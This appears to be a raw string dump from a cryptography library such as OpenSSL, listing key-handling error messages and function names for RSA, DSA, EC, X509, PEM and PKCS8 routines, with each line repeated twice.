unable to decode rsa private key

unable to decode rsa private key

unable to decode rsa key

unable to decode rsa key

streaming not supported

streaming not supported

private key header missing

private key header missing

bad password read

bad password read

X509_PKEY_new

X509_PKEY_new

i2d_RSA_PUBKEY

i2d_RSA_PUBKEY

i2d_PublicKey

i2d_PublicKey

i2d_PrivateKey

i2d_PrivateKey

i2d_EC_PUBKEY

i2d_EC_PUBKEY

i2d_DSA_PUBKEY

i2d_DSA_PUBKEY

d2i_X509_PKEY

d2i_X509_PKEY

d2i_PublicKey

d2i_PublicKey

d2i_PrivateKey

d2i_PrivateKey

unsupported algorithm

unsupported algorithm

unknown key type

unknown key type

unable to get certs public key

unable to get certs public key

no cert set for us to verify

no cert set for us to verify

loading cert dir

loading cert dir

key values mismatch

key values mismatch

key type mismatch

key type mismatch

cert already in hash table

cert already in hash table

cant check dh key

cant check dh key

X509_verify_cert

X509_verify_cert

X509_STORE_add_cert

X509_STORE_add_cert

X509_REQ_check_private_key

X509_REQ_check_private_key

X509_PUBKEY_set

X509_PUBKEY_set

X509_PUBKEY_get

X509_PUBKEY_get

X509_load_cert_file

X509_load_cert_file

X509_load_cert_crl_file

X509_load_cert_crl_file

X509_get_pubkey_parameters

X509_get_pubkey_parameters

X509_check_private_key

X509_check_private_key

GET_CERT_BY_SUBJECT

GET_CERT_BY_SUBJECT

ADD_CERT_DIR

ADD_CERT_DIR

operation not allowed in fips mode

operation not allowed in fips mode

key size too small

key size too small

DSA_BUILTIN_KEYGEN

DSA_BUILTIN_KEYGEN

unsupported encryption

unsupported encryption

read key

read key

public key no rsa

public key no rsa

problems getting password

problems getting password

error converting private key

error converting private key

PEM_READ_PRIVATEKEY

PEM_READ_PRIVATEKEY

PEM_READ_BIO_PRIVATEKEY

PEM_READ_BIO_PRIVATEKEY

PEM_PK8PKEY

PEM_PK8PKEY

PEM_F_PEM_WRITE_PKCS8PRIVATEKEY

PEM_F_PEM_WRITE_PKCS8PRIVATEKEY

DO_PK8PKEY_FP

DO_PK8PKEY_FP

DO_PK8PKEY

DO_PK8PKEY

d2i_PKCS8PrivateKey_fp

d2i_PKCS8PrivateKey_fp

d2i_PKCS8PrivateKey_bio

d2i_PKCS8PrivateKey_bio

wrong public key type

wrong public key type

unsupported salt type

unsupported salt type

unsupported private key algorithm

unsupported private key algorithm

unsupported prf

unsupported prf

unsupported key size

unsupported key size

unsupported key derivation function

unsupported key derivation function

unsupported keylength

unsupported keylength

unsuported number of rounds

unsuported number of rounds

seed key setup failed

seed key setup failed

keygen failure

keygen failure

invalid key length

invalid key length

fips mode not supported

fips mode not supported

expecting a ec key

expecting a ec key

expecting a ecdsa key

expecting a ecdsa key

expecting a dsa key

expecting a dsa key

expecting a dh key

expecting a dh key

expecting an rsa key

expecting an rsa key

different key types

different key types

ctrl operation not implemented

ctrl operation not implemented

camellia key setup failed

camellia key setup failed

bn pubkey error

bn pubkey error

bad key length

bad key length

aes key setup failed

aes key setup failed

PKCS5_v2_PBE_keyivgen

PKCS5_v2_PBE_keyivgen

PKCS5_PBE_keyivgen

PKCS5_PBE_keyivgen

EVP_PKEY_new

EVP_PKEY_new

EVP_PKEY_get1_RSA

EVP_PKEY_get1_RSA

EVP_PKEY_get1_EC_KEY

EVP_PKEY_get1_EC_KEY

EVP_PKEY_GET1_ECDSA

EVP_PKEY_GET1_ECDSA

EVP_PKEY_get1_DSA

EVP_PKEY_get1_DSA

EVP_PKEY_get1_DH

EVP_PKEY_get1_DH

EVP_PKEY_encrypt

EVP_PKEY_encrypt

EVP_PKEY_decrypt

EVP_PKEY_decrypt

EVP_PKEY_copy_parameters

EVP_PKEY_copy_parameters

EVP_PKEY2PKCS8_broken

EVP_PKEY2PKCS8_broken

EVP_PKCS82PKEY

EVP_PKCS82PKEY

EVP_CIPHER_CTX_set_key_length

EVP_CIPHER_CTX_set_key_length

ECKEY_PKEY2PKCS8

ECKEY_PKEY2PKCS8

ECDSA_PKEY2PKCS8

ECDSA_PKEY2PKCS8

DSA_PKEY2PKCS8

DSA_PKEY2PKCS8

DSAPKEY2PKCS8

DSAPKEY2PKCS8

D2I_PKEY

D2I_PKEY

CAMELLIA_INIT_KEY

CAMELLIA_INIT_KEY

AES_INIT_KEY

AES_INIT_KEY

invalid public key

invalid public key

GENERATE_KEY

GENERATE_KEY

DH_generate_key

DH_generate_key

DH_compute_key

DH_compute_key

COMPUTE_KEY

COMPUTE_KEY

rsa operations not supported

rsa operations not supported

digest too big for rsa key

digest too big for rsa key

data too small for key size

data too small for key size

RSA_generate_key

RSA_generate_key

RSA_check_key

RSA_check_key

RSA_BUILTIN_KEYGEN

RSA_BUILTIN_KEYGEN

passed a null parameter

passed a null parameter

DSO support routines

DSO support routines

x509 certificate routines

x509 certificate routines